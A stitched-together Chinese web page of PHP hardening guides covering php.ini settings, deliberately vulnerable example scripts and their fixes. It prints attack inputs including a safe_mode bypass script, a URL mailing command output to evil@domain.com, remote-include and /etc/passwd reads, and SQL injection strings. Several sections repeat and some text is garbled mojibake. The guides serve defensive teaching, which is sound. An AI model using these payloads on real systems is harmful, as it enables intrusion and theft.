即使是数字类型的字段,变量也要用单引号扩起来,MySQL自己会把字串处理成数字。
在MySQL里不要给PHP程序高级别权限的用户,只允许对自己的库进行操作,这也避免了程序出现问题被 SELECT INTO OUTFILE ... 这种攻击。

8、警告及错误信息

PHP默认显示所有的警告及错误信息:

error_reporting = E_ALL & ~E_NOTICE
display_errors = On

在平时开发调试时这非常有用,可以根据警告信息马上找到程序错误所在。
正式应用时,警告及错误信息让用户不知所措,而且给攻击者泄漏了脚本所在的物理路径,为攻击者的进一步攻击提供了有利的信息。而且由于自己没有访问到错误的地方,反而不能及时修改程序的错误。所以把PHP的所有警告及错误信息记录到一个日志文件是非常明智的,即不给攻击者泄漏物理路径,又能让自己知道程序错误所在。

修改php.ini中关于Error handling and logging部分内容:

error_reporting = E_ALL
display_errors = Off
log_errors = On
error_log = /usr/local/apache/logs/php_error.log

然后重启apache,注意文件/usr/local/apache/logs/php_error.log必需可以让nobody用户可写。

9、disable_functions

如果觉得有些函数还有威胁,可以设置php.ini里的disable_functions(这个选项不能在httpd.conf里设置),比如:

disable_functions = phpinfo, get_cfg_var

可以指定多个函数,用逗号分开。重启apache后,phpinfo, get_cfg_var函数都被禁止了。建议关闭函数phpinfo, get_cfg_var,这两个函数容易泄漏服务器信息,而且没有实际用处。

10、disable_classes

这个选项是从PHP-4.3.2开始才有的,它可以禁用某些类,如果有多个用逗号分隔类名。disable_classes也不能在httpd.conf里设置,只能在php.ini配置文件里修改。

11、open_basedir

前面分析例程的时候也多次提到用open_basedir对脚本操作路径进行*,这里再介绍一下它的特性。用open_basedir指定的*实际上是前缀,不是目录名。也就是说 "open_basedir = /dir/incl" 也会允许访问 "/dir/include" 和 "/dir/incls",如果它们存在的话。如果要将访问*在仅为指定的目录,用斜线结束路径名。例如:"open_basedir = /dir/incl/"。
可以设置多个目录,在Windows中,用分号分隔目录。在任何其它系统中用冒号分隔目录。作为Apache模块时,父目录中的open_basedir路径自动被继承。

四、其它安全配置

1、取消其它用户对常用、重要系统命令的读写执行权限

一般管理员维护只需一个普通用户和管理用户,除了这两个用户,给其它用户能够执行和访问的东西应该越少越好,所以取消其它用户对常用、重要系统命令的读写执行权限能在程序或者服务出现漏洞的时候给攻击者带来很大的迷惑。记住一定要连读的权限也去掉,否则在linux下可以用/lib/ld-linux.so.2 /bin/ls这种方式来执行。
如果要取消某程如果是在chroot环境里,这个工作比较容易实现,否则,这项工作还是有些挑战的。因为取消一些程序的执行权限会导致一些服务运行不正常。PHP的mail函数需要/bin/sh去调用sendmail发信,所以/bin/bash的执行权限不能去掉。这是一项比较累人的工作,

2、去掉apache日志其它用户的读权限

apache的access-log给一些出现本地包含漏洞的程序提供了方便之门。通过提交包含PHP代码的URL,可以使access-log包含PHP代码,那么把包含文件指向access-log就可以执行那些PHP代码,从而获得本地访问权限。
如果有其它虚拟主机,也应该相应去掉该日志文件其它用户的读权限。

当然,如果你按照前面介绍的配置PHP那么一般已经是无法读取日志文件了。

php安全配置 如何配置使其更安全

一、Web服务器安全

PHP其实不过是Web服务器的一个模块功能,所以首先要保证Web服务器的安全。当然Web服务器要安全又必须是先保证系统安全,这样就扯远了,无穷无尽。PHP可以和各种Web服务器结合,这里也只讨论Apache。非常建议以chroot方式安装启动Apache,这样即使Apache和PHP及其脚本出现漏洞,受影响的也只有这个禁锢的系统,不会危害实际系统。但是使用chroot的Apache后,给应用也会带来一定的麻烦,比如连接mysql时必须用127.0.0.1地址使用tcp连接而不能用localhost实现socket连接,这在效率上会稍微差一点。还有mail函数发送邮件也是个问题,因为php.ini里的:

[mail function]
; For Win32 only.
SMTP = localhost

; For Win32 only.
sendmail_from = me@localhost.com

都是针对Win32平台,所以需要在chroot环境下调整好sendmail。

二、PHP本身问题

1、远程溢出

PHP-4.1.2以下的所有版本都存在文件上传远程缓冲区溢出漏洞,而且攻击程序已经广泛流传,成功率非常高:

http://packetstormsecurity.org/0204-exploits/7350fun
http://hsj.shadowpenguin.org/misc/php3018_exp.txt

2、远程拒绝服务

PHP-4.2.0和PHP-4.2.1存在PHP multipart/form-data POST请求处理远程漏洞,虽然不能获得本地用户权限,但是也能造成拒绝服务。

3、safe_mode绕过漏洞

还有PHP-4.2.2以下到PHP-4.0.5版本都存在PHP mail函数绕过safe_mode*执行命令漏洞,4.0.5版本开始mail函数增加了第五个参数,由于设计者考虑不周可以突破safe_mode的*执行命令。其中4.0.5版本突破非常简单,只需用分号隔开后面加shell命令就可以了,比如存在PHP脚本evil.php:

<? mail("foo@bar,"foo","bar","",$bar); ?>

执行如下的URL:

http://foo.com/evil.php?bar=;/usr/bin/id|mail evil@domain.com

这将id执行的结果发送给evil@domain.com。

对于4.0.6至4.2.2的PHP突破safe_mode*其实是利用了sendmail的-C参数,所以系统必须是使用sendmail。如下的代码能够突破safe_mode*执行命令:

<?
# 注意,下面这两个必须是不存在的,或者它们的属主和本脚本的属主是一样
$script="/tmp/script123";
$cf="/tmp/cf123";

$fd = fopen($cf, "w");
fwrite($fd, "OQ/tmp
Sparse=0
R$*" . chr(9) . "$#local $@ $1 $: $1
Mlocal, P=/bin/sh, A=sh $script");
fclose($fd);

$fd = fopen($script, "w");
fwrite($fd, "rm -f $script $cf; ");
fwrite($fd, $cmd);
fclose($fd);

mail("nobody", "", "", "", "-C$cf");
?>

还是使用以上有问题版本PHP的用户一定要及时升级到最新版本,这样才能消除基本的安全问题。

三、PHP本身的安全配置

PHP的配置非常灵活,可以通过php.ini, httpd.conf, .htaccess文件(该目录必须设置了AllowOverride All或Options)进行设置,还可以在脚本程序里使用ini_set()及其他的特定的函数进行设置。通过phpinfo()和get_cfg_var()函数可以得到配置选项的各个值。

如果配置选项是唯一PHP_INI_SYSTEM属性的,必须通过php.ini和httpd.conf来修改,它们修改的是PHP的Master值,但修改之后必须重启apache才能生效。其中php.ini设置的选项是对Web服务器所有脚本生效,httpd.conf里设置的选项是对该定义的目录下所有脚本生效。

如果还有其他的PHP_INI_USER, PHP_INI_PERDIR, PHP_INI_ALL属性的选项就可以使用.htaccess文件设置,也可以通过在脚本程序自身用ini_set()函数设定,它们修改的是Local值,改了以后马上生效。但是.htaccess只对当前目录的脚本程序生效,ini_set()函数只对该脚本程序设置ini_set()函数以后的代码生效。各个版本的选项属性可能不尽相同,可以用如下命令查找当前源代码的main.c文件得到所有的选项,以及它的属性:

# grep PHP_INI_ /PHP_SRC/main/main.c

在讨论PHP安全配置之前,应该好好了解PHP的safe_mode模式。

1、safe_mode

safe_mode是唯一PHP_INI_SYSTEM属性,必须通过php.ini或httpd.conf来设置。要启用safe_mode,只需修改php.ini:

safe_mode = On

或者修改httpd.conf,定义目录:

<Directory /var/www>
Options FollowSymLinks
php_admin_value safe_mode 1
</Directory>

重启apache后safe_mode就生效了。启动safe_mode,会对许多PHP函数进行*,特别是和系统相关的文件打开、命令执行等函数。
所有操作文件的函数将只能操作与脚本UID相同的文件,比如test.php脚本的内容为:

<?include("index.html")?>

几个文件的属性如下:

# ls -la
total 13
drwxr-xr-x 2 root root 104 Jul 20 01:25 .
drwxr-xr-x 16 root root 384 Jul 18 12:02 ..
-rw-r--r-- 1 root root 4110 Oct 26 2002 index.html
-rw-r--r-- 1 www-data www-data 41 Jul 19 19:14 test.php

在浏览器请求test.php会提示如下的错误信息:

Warning: SAFE MODE Restriction in effect. The script whose uid/gid is 33/33 is not allowed to access ./index.html owned by uid/gid 0/0 in /var/www/test.php on line 1

如果被操作文件所在目录的UID和脚本UID一致,那么该文件的UID即使和脚本不同也可以访问的,不知这是否是PHP的一个漏洞还是另有隐情。所以php脚本属主这个用户最好就只作这个用途,绝对禁止使用root做为php脚本的属主,这样就达不到safe_mode的效果了。

如果想将其放宽到GID比较,则打开 safe_mode_gid可以考虑只比较文件的GID,可以设置如下选项:

safe_mode_gid = On

设置了safe_mode以后,所有命令执行的函数将被*只能执行php.ini里safe_mode_exec_dir指定目录里的程序,而且shell_exec、`ls -l`这种执行命令的方式会被禁止。如果确实需要调用其它程序,可以在php.ini做如下设置:

safe_mode_exec_dir = /usr/local/php/exec

然后拷贝程序到该目录,那么php脚本就可以用system等函数来执行该程序。而且该目录里的shell脚本还是可以调用其它目录里的系统命令。

safe_mode_include_dir string
当从此目录及其子目录(目录必须在 include_path 中或者用完整路径来包含)包含文件时越过 UID/GID 检查。

从 PHP 4.2.0 开始,本指令可以接受和 include_path 指令类似的风格用分号隔开的路径,而不只是一个目录。

指定的*实际上是一个前缀,而非一个目录名。这也就是说“safe_mode_include_dir = /dir/incl”将允许访问“/dir/include”和“/dir/incls”,如果它们存在。如果您希望将访问控制在一个指定的目录,那么请在结尾加上一个斜线,例如:“safe_mode_include_dir = /dir/incl/”。

safe_mode_allowed_env_vars string
设置某些环境变罧赡苁乔痹诘陌踩?笨凇1局噶畎??幸桓龆汉欧指舻那白毫斜怼T诎踩?J较拢?没е荒芨谋淠切┟?志哂性谡饫锾峁┑那白旱幕肪潮淞俊D?锨榭鱿拢?没е荒苌柚靡?PHP_ 开头的环境变量(例如 PHP_FOO = BAR)。

注: 如果本指令为空,PHP 将使用户可以修改任何环境变量!

safe_mode_protected_env_vars string
本指令包含有一个逗号分隔的环境变量的列表,最终用户不能用 putenv() 来改变这些环境变量。甚至在 safe_mode_allowed_env_vars 中设置了允许修改时也不能改变这些变量。

虽然safe_mode不是万能的(低版本的PHP可以绕过),但还是强烈建议打开安全模式,在一定程度上能够避免一些未知的攻击。不过启用safe_mode会有很多*,可能对应用带来影响,所以还需要调整代码和配置才能和谐。被安全模式*或屏蔽的函数可以参考PHP手册。

讨论完safe_mode后,下面结合程序代码实际可能出现的问题讨论如何通过对PHP服务器端的配置来避免出现的漏洞。

2、变量滥用

PHP默认register_globals = On,对于GET, POST, Cookie, Environment, Session的变罧梢灾苯幼⒉岢扇?直淞俊K?堑淖⒉崴承蚴荚ariables_order = "EGPCS"(可以通过php.ini修改),同名变量variables_order右边的覆盖左边,所以变量的滥用极易造成程序的混乱。而且脚本程序员往往没有对变量初始化的习惯,像如下的程序片断就极易受到攻击:

<?
//test_1.php

if ($pass == "hello")
$auth = 1;

if ($auth == 1)
echo "some important information";
else
echo "nothing";
?>

攻击者只需用如下的请求就能绕过检查:
http://victim/test_1.php?auth=1

这虽然是一个很弱智的错误,但一些著名的程序也有犯过这种错误,比如phpnuke的远程文件拷贝漏洞http://www.securityfocus.com/bid/3361

PHP-4.1.0发布的时候建议关闭register_globals,并提供了7个特殊的数组变量来使用各种变量。对于从GET、POST、COOKIE等来的变量并不会直接注册成变量,必需通过数组变量来存取。PHP-4.2.0发布的时候,php.ini默认配置就是register_globals = Off。这使得程序使用PHP自身初始化的默认值,一般为0,避免了攻击者控制判断变量。

解决方法:

配置文件php.ini设置register_globals = Off。

要求程序员对作为判断的变量在程序最开始初始化一个值。

3、文件打开

极易受攻击的代码片断:

<?
//test_2.php

if (!($str = readfile("$filename"))) {
echo("Could not open file: $filename<BR>\n");
exit;
}
else {
echo $str;
}
?>

由于攻击者可以指定任意的$filename,攻击者用如下的请求就可以看到/etc/passwd:

http://victim/test_2.php?filename=/etc/passwd

如下请求可以读php文件本身:

http://victim/test_2.php?filename=test_2.php

PHP中文件打开函数还有fopen(), file()等,如果对文件名变量检查不严就会造成服务器重要文件被访问读取。

解决方法:

如非特殊需要,把php的文件操作*在web目录里面。以下是修改apache配置文件httpd.conf的一个例子:

<Directory /usr/local/apache/htdocs>
php_admin_value open_basedir /usr/local/apache/htdocs
</Directory>

重启apache后,/usr/local/apache/htdocs目录下的PHP脚本就只能操作它自己目录下的文件了,否则PHP就会报错:

Warning: open_basedir restriction in effect. File is in wrong directory in xxx on line xx.

使用safe_mode模式也能避免这种问题,前面已经讨论过了。

4、包含文件

极易受攻击的代码片断:

<?
//test_3.php

if(file_exists($filename))
include("$filename");
?>

这种不负责任的代码会造成相当大的危害,攻击者用如下请求可以得到/etc/passwd文件:

http://victim/test_3.php?filename=/etc/passwd

如果对于Unix版的PHP(Win版的PHP不支持远程打开文件)攻击者可以在自己开了http或ftp服务的机器上建立一个包含shell命令的文件,http://attack/attack.txt的内容是<?passthru("ls /etc")?>,那么如下的请求就可以在目标主机执行命令ls /etc:

http://victim/test_3.php?filename=http://attack/attack.txt

攻击者甚至可以通过包含apache的日志文件access.log和error.log来得到执行命令的代码,不过由于干扰信息太多,有时不易成功。
对于另外一种形式,如下代码片断:

<?
//test_4.php

include("$lib/config.php");
?>

攻击者可以在自己的主机建立一个包含执行命令代码的config.php文件,然后用如下请求也可以在目标主机执行命令:

http://victim/test_4.php?lib=http://attack

PHP的包含函数有include(), include_once(), require(), require_once。如果对包含文件名变量检查不严就会对系统造成严重危险,可以远程执行命令。

解决方法:

要求程序员包含文件里的参数尽量不要使用变量,如果使用变量,就一定要严格检查要包含的文件名,绝对不能由用户任意指定。

如前面文件打开中*PHP操作路径是一个必要的选项。另外,如非特殊需要,一定要关闭PHP的远程文件打开功能。修改php.ini文件:

allow_url_fopen = Off

重启apache。

5、文件上传

php的文件上传机制是把用户上传的文件保存在php.ini的upload_tmp_dir定义的临时目录(默认是系统的临时目录,如:/tmp)里的一个类似phpxXuoXG的随机临时文件,程序执行结束,该临时文件也被删除。PHP给上传的文件定义了四个变量:(如form变量名是file,而且register_globals打开)

$file #就是保存到服务器端的临时文件(如/tmp/phpxXuoXG )
$file_size #上传文件的大小
$file_name #上传文件的原始名称
$file_type #上传文件的类型

推荐使用:

$HTTP_POST_FILES[file][tmp_name]
$HTTP_POST_FILES[file][size]
$HTTP_POST_FILES[file][name]
$HTTP_POST_FILES[file][type]

这是一个最简单的文件上传代码:

<?
//test_5.php

if(isset($upload) && $file != "none") {
copy($file, "/usr/local/apache/htdocs/upload/".$file_name);
echo "文件".$file_name."上传成功!点击<a href=\"$PHP_SELF\">继续上传</a>";
exit;
}
?>
<html>
<head>
<title>文件上传</title>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
</head>
<body bgcolor="#FFFFFF">
<form enctype="multipart/form-data" method="post">
上传文件:
<input type="file" name="file" size="30">
<input type="submit" name="upload" value="上传">
</form>
</body>
</html>

这样的上传代码存在读取任意文件和执行命令的重大问题。
下面的请求可以把/etc/passwd文档拷贝到web目录/usr/local/apache/htdocs/test(注意:这个目录必须nobody可写)下的attack.txt文件里:

http://victim/test_5.php?upload= ... ile_name=attack.txt

然后可以用如下请求读取口令文件:

http://victim/test/attack.txt

攻击者可以把php文件拷贝成其它扩展名,泄漏脚本源代码。
攻击者可以自定义form里file_name变量的值,上传覆盖任意有写权限的文件。
攻击者还可以上传PHP脚本执行主机的命令。

解决方法:

PHP-4.0.3以后提供了is_uploaded_file和move_uploaded_file函数,可以检查操作的文件是否是用户上传的文件,从而避免把系统文件拷贝到web目录。
使用$HTTP_POST_FILES数组来读取用户上传的文件变量。
严格检查上传变量。比如不允许是php脚本文件。

把PHP脚本操作*在web目录可以避免程序员使用copy函数把系统文件拷贝到web目录。move_uploaded_file不受open_basedir的*,所以不必修改php.ini里upload_tmp_dir的值。
把PHP脚本用phpencode进行加密,避免由于copy操作泄漏源码。
严格配置文件和目录的权限,只允许上传的目录能够让nobody用户可写。
对于上传目录去掉PHP解释功能,可以通过修改httpd.conf实现:

<Directory /usr/local/apache/htdocs/upload>
php_flag engine off
#如果是php3换成php3_engine off
</Directory>

重启apache,upload目录的php文件就不能被apache解释了,即使上传了php文件也没有问题,只能直接显示源码。

6、命令执行

下面的代码片断是从PHPNetToolpack摘出,详细的描述见:

http://www.securityfocus.com/bid/4303

<?
//test_6.php

system("traceroute $a_query",$ret_strs);
?>

由于程序没有过滤$a_query变量,所以攻击者可以用分号来追加执行命令。

攻击者输入如下请求可以执行cat /etc/passwd命令:

http://victim/test_6.php?a_query=www.example.com;cat /etc/passwd

PHP的命令执行函数还有system(), passthru(), popen()和``等。命令执行函数非常危险,慎用。如果要使用一定要严格检查用户输入。

解决方法:

要求程序员使用escapeshellcmd()函数过滤用户输入的shell命令。

启用safe_mode可以杜绝很多执行命令的问题,不过要注意PHP的版本一定要是最新的,小于PHP-4.2.2的都可能绕过safe_mode的*去执行命令。

7、sql_inject

如下的SQL语句如果未对变量进行处理就会存在问题:

select * from login where user=$user and pass=$pass

攻击者可以用户名和口令都输入1 or 1=1绕过验证。

不过幸亏PHP有一个默认的选项magic_quotes_gpc = On,该选项使得从GET, POST, COOKIE来的变量自动加了addslashes()操作。上面SQL语句变成了:

select * from login where user=1\ or 1=\1 and pass=1\ or 1=\1

从而避免了此类sql_inject攻击。

对于数字类型的字段,很多程序员会这样写:

select * from test where id=$id

由于变量没有用单引号扩起来,就会造成sql_inject攻击。幸亏MySQL功能简单,没有sqlserver等数据库有执行命令的SQL语句,而且PHP的mysql_query()函数也只允许执行一条SQL语句,所以用分号隔开多条SQL语句的攻击也不能奏效。但是攻击者起码还可以让查询语句出错,泄漏系统的一些信息,或者一些意想不到的情况。

解决方法:

要求程序员对所有用户提交的要放到SQL语句的变量进行过滤。
即使是数字类型的字段,变量也要用单引号扩起来,MySQL自己会把字串处理成数字。
在MySQL里不要给PHP程序高级别权限的用户,只允许对自己的库进行操作,这也避免了程序出现问题被 SELECT INTO OUTFILE ... 这种攻击。

8、警告及错误信息

PHP默认显示所有的警告及错误信息:

error_reporting = E_ALL & ~E_NOTICE
display_errors = On

在平时开发调试时这非常有用,可以根据警告信息马上找到程序错误所在。
正式应用时,警告及错误信息让用户不知所措,而且给攻击者泄漏了脚本所在的物理路径,为攻击者的进一步攻击提供了有利的信息。而且由于自己没有访问到错误的地方,反而不能及时修改程序的错误。所以把PHP的所有警告及错误信息记录到一个日志文件是非常明智的,即不给攻击者泄漏物理路径,又能让自己知道程序错误所在。

修改php.ini中关于Error handling and logging部分内容:

error_reporting = E_ALL
display_errors = Off
log_errors = On
error_log = /usr/local/apache/logs/php_error.log

然后重启apache,注意文件/usr/local/apache/logs/php_error.log必需可以让nobody用户可写。

9、disable_functions

如果觉得有些函数还有威胁,可以设置php.ini里的disable_functions(这个选项不能在httpd.conf里设置),比如:

disable_functions = phpinfo, get_cfg_var

可以指定多个函数,用逗号分开。重启apache后,phpinfo, get_cfg_var函数都被禁止了。建议关闭函数phpinfo, get_cfg_var,这两个函数容易泄漏服务器信息,而且没有实际用处。

10、disable_classes

这个选项是从PHP-4.3.2开始才有的,它可以禁用某些类,如果有多个用逗号分隔类名。disable_classes也不能在httpd.conf里设置,只能在php.ini配置文件里修改。

11、open_basedir

前面分析例程的时候也多次提到用open_basedir对脚本操作路径进行*,这里再介绍一下它的特性。用open_basedir指定的*实际上是前缀,不是目录名。也就是说 "open_basedir = /dir/incl" 也会允许访问 "/dir/include" 和 "/dir/incls",如果它们存在的话。如果要将访问*在仅为指定的目录,用斜线结束路径名。例如:"open_basedir = /dir/incl/"。
可以设置多个目录,在Windows中,用分号分隔目录。在任何其它系统中用冒号分隔目录。作为Apache模块时,父目录中的open_basedir路径自动被继承。

四、其它安全配置

1、取消其它用户对常用、重要系统命令的读写执行权限

一般管理员维护只需一个普通用户和管理用户,除了这两个用户,给其它用户能够执行和访问的东西应该越少越好,所以取消其它用户对常用、重要系统命令的读写执行权限能在程序或者服务出现漏洞的时候给攻击者带来很大的迷惑。记住一定要连读的权限也去掉,否则在linux下可以用/lib/ld-linux.so.2 /bin/ls这种方式来执行。
如果要取消某程如果是在chroot环境里,这个工作比较容易实现,否则,这项工作还是有些挑战的。因为取消一些程序的执行权限会导致一些服务运行不正常。PHP的mail函数需要/bin/sh去调用sendmail发信,所以/bin/bash的执行权限不能去掉。这是一项比较累人的工作,

2、去掉apache日志其它用户的读权限

apache的access-log给一些出现本地包含漏洞的程序提供了方便之门。通过提交包含PHP代码的URL,可以使access-log包含PHP代码,那么把包含文件指向access-log就可以执行那些PHP代码,从而获得本地访问权限。
如果有其它虚拟主机,也应该相应去掉该日志文件其它用户的读权限。

当然,如果你按照前面介绍的配置PHP那么一般已经是无法读取日志文件了。

问:php网站的安全性考虑都有哪些

大家都知道PHP已经是当前最流行的Web应用编程语言了。但是也与其他脚本语言一样,PHP也有几个很危险的安全漏洞。所以在这篇教学文章中,我们将大致看看几个实用的技巧来让你避免一些常见的PHP安全问题。

大家都知道PHP已经是当前最流行的Web应用编程语言了。但是也与其他脚本语言一样,PHP也有几个很危险的安全漏洞。所以在这篇教学文章中,我们将大致看看几个实用的技巧来让你避免一些常见的PHP安全问题。

技巧1:使用合适的错误报告

一般在开发过程中,很多程序员总是忘了制作程序错误报告,这是极大的错误,因为恰当的错误报告不仅仅是最好的调试工具,也是极佳的安全漏洞检测工具,这能让你把应用真正上线前尽可能找出你将会遇到的问题。

当然也有很多方式去启用错误报告。比如在 php.in配置文件中你可以设置在运行时启用

启动错误报告

error_reporting(E_ALL);

停用错误报告

error_reporting(0);

技巧2:不使用PHP的Weak属性

有几个PHP的属性是需要被设置为OFF的。一般它们都存在于PHP4里面,而在PHP5中是不推荐使用的。尤其最后在PHP6里面,这些属性都被移除了。

注册全局变量

当 register_globals 被设置为ON时,就相当于设置Environment,GET,POST,COOKIE或者Server变量都定义为全局变量。此时你根本不需要去写 $_POST['username']来获取表单变量'username',只需要'$username'就能获取此变量了。

那么你肯定在想既然设置register_globals 为 ON 有这么方便的好处,那为什么不要使用呢?因为如果你这样做将会带来很多安全性的问题,而且也可能与局部变量名称相冲突。

比如先看看下面的代码:

if( !empty( $_POST['username'] ) &&$_POST['username'] == ‘test123′ && !empty( $_POST['password'] )&& $_POST['password'] == “pass123″ )

{

$access = true;

}

如果运行期间, register_globals 被设置为ON,那么用户只需要传输 access=1 在一句查询字符串中就能获取到PHP脚本运行的任何东西了。

在.htaccess中停用全局变量

php_flag register_globals 0

在php.ini中停用全局变量

register_globals = Off

停用类似 magic_quotes_gpc,magic_quotes_runtime, magic_quotes_sybase 这些MagicQuotes

在.htaccess文件中设置

php_flag magic_quotes_gpc 0

php_flag magic_quotes_runtime 0

在php.ini中设置

magic_quotes_gpc = Off

magic_quotes_runtime = Off

magic_quotes_sybase = Off

技巧3:验证用户输入

你当然也可以验证用户的输入,首先必须知道你期望用户输入的数据类型。这样就能在浏览器端做好防御用户恶意攻击你的准备。

技巧4:避免用户进行交叉站点脚本攻击

在Web应用中,都是简单地接受用户输入表单然后反馈结果。在接受用户输入时,如果允许HTML格式输入将是非常危险的事情,因为这也就允许了JavaScript以不可预料的方式侵入后直接执行。哪怕只要有一个这样漏洞,cookie数据都可能被盗取进而导致用户的账户被盗取。

技巧5:预防SQL注入攻击

PHP基本没有提供任何工具来保护你的数据库,所以当你连接数据库时,你可以使用下面这个mysqli_real_escape_string 函数。

$username = mysqli_real_escape_string($GET['username'] );

mysql_query( “SELECT * FROM tbl_employeeWHERE username = ’”.$username.“‘”);

好了,在这篇简短的文章中,我们阐述了几个开发过程中不能忽视的PHP安全性问题。但是最终是否使用,如何使用还是开发人员来决定的。希望这篇文章能帮助到你们。

php开发api接口,如何做才算是安全的

这个问题很深

安全,不敢当,因为web安全问题很多,不仅仅是PHP编码而已,有很多安全上的问题需要做处理,像服务器漏洞、端口开放都会导致被黑,这都是很正常的。

只能说 比如在我做PHP开发过程的一些安全保护和在网络安全公司开发时的工作要求:

1、最基础的,提供的api接口 要配置https。

2、api返回响应的信息,要尽可能使用消息加密返回,如高位数的 rsa加密内容。

3、接收的回调开放接口,尽可能做到使用回调黑、白名单,如加ip白名单放行,或ip黑名单禁止访问。

4、不要相信用户输入、输入信息要进行编码转换、转义、过滤、使用框架和插件进行处理,如MySQL查询的要进行参数绑定、如显示问题要避免xss攻击会进行过滤。

5、授权操作,错误*设置阀值、超过阀值*访问、如最基础的登录功能。

6、常见额弱口令问题导致漏铜,应设置高强度口令,避免程序爆破。

7、文件上传问题、应严格校验文件类型、后缀、格式、及文件目录权限设置,从而避免文件上传漏洞导致恶意代码或webshell攻击。

8、开发环境和生产环境隔开,不要再生产上面开debug、及时更新使用框架漏洞补丁如PHP国内常用 tp系列以前偶尔爆出漏洞(我用的较多就是tp5 ....),还有框架不要用最新要选择最稳定的。

最后注意不管是验证还是过滤,在客户端执行过一次也好,在服务端,都要再次执行验证和校验。

和盛之文  我的文章保存网站,欢迎访问学习或参考

php开发api接口,如何做才算是安全的

这个问题很深

安全,不敢当,因为web安全问题很多,不仅仅是PHP编码而已,有很多安全上的问题需要做处理,像服务器漏洞、端口开放都会导致被黑,这都是很正常的。

只能说 比如在我做PHP开发过程的一些安全保护和在网络安全公司开发时的工作要求:

1、最基础的,提供的api接口 要配置https。

2、api返回响应的信息,要尽可能使用消息加密返回,如高位数的 rsa加密内容。

3、接收的回调开放接口,尽可能做到使用回调黑、白名单,如加ip白名单放行,或ip黑名单禁止访问。

4、不要相信用户输入、输入信息要进行编码转换、转义、过滤、使用框架和插件进行处理,如MySQL查询的要进行参数绑定、如显示问题要避免xss攻击会进行过滤。

5、授权操作,错误*设置阀值、超过阀值*访问、如最基础的登录功能。

6、常见额弱口令问题导致漏铜,应设置高强度口令,避免程序爆破。

7、文件上传问题、应严格校验文件类型、后缀、格式、及文件目录权限设置,从而避免文件上传漏洞导致恶意代码或webshell攻击。

8、开发环境和生产环境隔开,不要再生产上面开debug、及时更新使用框架漏洞补丁如PHP国内常用 tp系列以前偶尔爆出漏洞(我用的较多就是tp5 ....),还有框架不要用最新要选择最稳定的。

最后注意不管是验证还是过滤,在客户端执行过一次也好,在服务端,都要再次执行验证和校验。

和盛之文  我的文章保存网站,欢迎访问学习或参考

php配置防跨站、防跨目录安全

现在很多网站都是采用php建站,不少都是直接使用现在成熟的cms程序,这些php开发的cms系统本身安全性可能并不高,这时就需要我们在服务器做一些针对php程序配置防跨站、防跨目录等一些设置,可以有效的防止服务器上所有的php网站被恶意篡改。
  适用范围及演示系统
  适用范围:php5.3及以上版本
  演示系统:centos
  防跨站、防跨目录安全设置方法
  第1步:登录到linux系统终端。
  第2步:找到并打开php配置文件。
  第3步:在php.ini最底部添加以下代码,并保存。大家可就按以下代码改成自己网站的配置即可。
  [HOST=www.45it.com]
  open_basedir=/wwwroot/www.45it.com/:/tmp/
  [PATH=/wwwroot/www.45it.com]
  open_basedir=/wwwroot/www.45it.com/:/tmp/
  注:就如上代码添加完之后就是防跨站防跨目录的安全配置了,但是有一些缺点,就是比如说我们运行一些php探针等一些程序可能就是无法正常运行了,如果想让网站正常运行php探针的话需要在/tmp/后加上:/proc/
  第4步:添加完代码并保存php.ini,之后重启php服务即可生效。

php配置防跨站、防跨目录安全

现在很多网站都是采用php建站,不少都是直接使用现在成熟的cms程序,这些php开发的cms系统本身安全性可能并不高,这时就需要我们在服务器做一些针对php程序配置防跨站、防跨目录等一些设置,可以有效的防止服务器上所有的php网站被恶意篡改。
  适用范围及演示系统
  适用范围:php5.3及以上版本
  演示系统:centos
  防跨站、防跨目录安全设置方法
  第1步:登录到linux系统终端。
  第2步:找到并打开php配置文件。
  第3步:在php.ini最底部添加以下代码,并保存。大家可就按以下代码改成自己网站的配置即可。
  [HOST=www.45it.com]
  open_basedir=/wwwroot/www.45it.com/:/tmp/
  [PATH=/wwwroot/www.45it.com]
  open_basedir=/wwwroot/www.45it.com/:/tmp/
  注:就如上代码添加完之后就是防跨站防跨目录的安全配置了,但是有一些缺点,就是比如说我们运行一些php探针等一些程序可能就是无法正常运行了,如果想让网站正常运行php探针的话需要在/tmp/后加上:/proc/
  第4步:添加完代码并保存php.ini,之后重启php服务即可生效。

PHP代码网站如何防范SQL注入漏洞攻击建议分享

做为网络开发者的你对这种黑客行为恨之入骨,当然也有必要了解一下SQL注入这种功能方式的原理并学会如何通过代码来保护自己的网站数据库。今天就通过PHP和MySQL数据库为例,分享一下我所了解的SQL注入攻击和一些简单的防范措施和一些如何避免SQL注入攻击的建议。
简单来说,SQL注入是使用代码漏洞来获取网站或应用程序后台的SQL数据库中的数据,进而可以取得数据库的访问权限。比如,黑客可以利用网站代码的漏洞,使用SQL注入的方式取得一个公司网站后台数据库里所有的数据信息。拿到数据库管理员登录用户名和密码后黑客可以自由修改数据库中的内容甚至删除该数据库。SQL注入也可以用来检验一个网站或应用的安全性。SQL注入的方式有很多种,但本文将只讨论最基本的原理,我们将以PHP和MySQL为例。本文的例子很简单,如果你使用其它语言理解起来也不会有难度,重点关注SQL命令即可。
一个简单的SQL注入攻击案例
假如我们有一个公司网站,在网站的后台数据库中保存了所有的客户数据等重要信息。假如网站登录页面的代码中有这样一条命令来读取用户信息。
$q = "SELECT `id` FROM `users` WHERE `username`= ' " .$_GET['username']. " ' AND `password`= ' " .$_GET['password']. " ' ";?>现在有一个黑客想攻击你的数据库,他会尝试在此登录页面的用户名的输入框中输入以下代码:
' ; SHOW TABLES;
点击登陆键,这个页面就会显示出数据库中的所有表。如果他现在使用下面这行命令:
'; DROP TABLE [table name];
这样他就把一张表删除了!
防范SQL注入 - 使用mysql_real_escape_string()函数
在数据库操作的代码中用这个函数mysql_real_escape_string()可以将代码中特殊字符过滤掉,如引号等。如下例:
$q = "SELECT `id` FROM `users` WHERE `username`= ' " .mysql_real_escape_string( $_GET['username'] ). " ' AND `password`= ' " .mysql_real_escape_string( $_GET['password'] ). " ' ";?>防范SQL注入 - 使用mysql_query()函数
mysql_query()的特别是它将只执行SQL代码的第一条,而后面的并不会执行。回想在最前面的例子中,黑客通过代码来例后台执行了多条SQL命令,显示出了所有表的名称。所以mysql_query()函数可以取到进一步保护的作用。我们进一步演化刚才的代码就得到了下面的代码:
//connection
$database = mysql_connect("localhost", "username","password");
//db selection
